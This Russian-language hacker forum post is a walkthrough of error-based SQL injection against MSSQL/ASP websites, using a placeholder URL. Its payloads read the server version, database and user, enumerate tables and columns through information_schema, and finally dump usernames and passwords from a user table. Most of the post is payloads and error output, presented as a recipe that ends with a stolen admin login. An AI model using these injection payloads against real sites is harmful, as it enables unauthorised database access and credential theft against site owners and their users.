Jump to content
Лента
  • Добро пожаловать на :::XakepInter.Net - Исследование Безопасности и Уязвимостей в Сети:::.
  • Возможнасти
  • Чтобы увидеть ссылки и все функции форума рекомендуем зарегистрироваться.Приятного общения!.
Sign in to follow this  
Der X

проведение инъекции в mssql

Recommended Posts

Немного об MSSQL


MSSQL - довольно распространенная база данных,разработанная компанией Microsoft.
Основной язык - Transact-SQL.
В данной статье мы расмотрим инъекцию в базе данных MSSQL.Итак пожалуй начнем...

Ошибки MSSQL


Пусть у нас будет некоторый сайт _http://www.site.com/news.asp?id=5.
Попробуем подставить в url одинарную кавычку:
_http://www.site.com/news.asp?id=5'
видим ошибку:
 

Код: 
Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near '''.

Также может быть такая ошибка:
 

Код: 
Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string ';'.

Теперь давайте попробуем узнать версию,имя базы и юзера.
Для этого выполним следующие запросы:
 

Код: 
1:_http://www.site.com/news.asp?id=5+ or+1=@@version--
2:_http://www.site.com/news.asp?id=5+ or+1=(select db_name())--
3:_http://www.site.com/news.asp?id=5+or+1=(select system_user)--

Выполнив первый запрос видим следующее:

Microsoft OLE DB Provider for SQL Server error '80040e07'
 

Код: 
Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int.

где "Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2) "-версия.
 

Подбор таблиц и колонок



Для подбора таблиц будем использовать следующий запрос:

Код: 
5+or+1=(select+top+1+table_name+from+information_schema.tables)--

Итак пробуем:
_http://www.site.com/news.asp?id=5+or+1=(select+top+1+table_name+from+i nformation_schema.tables)--

Видим ошибку:

Код: 
Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'table1' to a column of data type int.

Где table1 имя первой таблицы.Тепере давайте узнаем другие таблицы.Составим следующий запрос:

_http://www.site.com/news.asp?id=5+or+1=(select+top+1+table_name+from+i nformation_schema.tables+where+table_name+not+in+( 'table1'))--

Видим ошибку:
 

Код: 
Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'table2' to a column of data type int.

Где table2 имя второй таблицы.Таким образом перебираем все таблицы:

Код: 
(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('table1','table2',.....'tablen'))--

Когда мы нашли нужную нам таблицу, мы должны узнать ее колонки.Пишем следующий запрос:

Код: 
5+or+1=(select+top+1+column_name+from+information_schema.columns+where+table_name='table5')--

Этим запросом мы узнаем первую колонку таблицы table5.Для того чтобы узнать все колонки составим следующий запрос:

Код:
5+or+1=(select+top+1+column_name+from+information_schema.columns+where+table_name='table5'+and+column_name+not+in+('column1','column2',.....'columnn'))--

Пусть table5 содержит следующие колонки:
 

Код: 
id username userpwd

Для вывода этих данных будем использовать следующий запрос:
_http://www.site.com/news.asp?id=5+or+1=(select+top+1+username+from+tab le5)--

видим следующую ошибку:
 

Код: 
Microsoft OLE DB Provider for SQL Server error '80040e07' 

Syntax error converting the nvarchar value 'admin' to a column of data type int.

Где админ имя первого юзера.Такой вывод данных не очень удобный т.к.
данные придется выводить по одному и отдельно.Для совместного получения данных воспользуемся функцией cast().Итак пробуем:
 

Код: 
5+or+1=(select+top+1+cast(username+as+nvarchar)%2B%27%3A%27%2Bcast(userpwd+as+nvarchar)+from+table5))--

Видим следующее:
 

Код: 
Microsoft OLE DB Provider for SQL Server error '80040e07' 

Syntax error converting the nvarchar value 'admin:qwerty
' to a column of data type int.

%2B%27%3A%27%2B - закодированные +':'+ .Без кодировки вылезает следующая ошибка:
 

Код: 
Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near 'cast'.

Теперь у нас есть логин и пароль админа но можно проверить есть ли еще юзера
для этого в конец предыдущего запроса добавим "+where+id=2" где "id=2"-имя второго юзера запрос примет следующий вид:
 

Код: 
5+or+1=(select+top+1+cast(username+as+nvarchar)%2B%27%3A%27%2Bcast(userpwd+as+nvarchar)+from+table5"+where+id=2))--

Все инъекция прошла успешно.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×
Вверх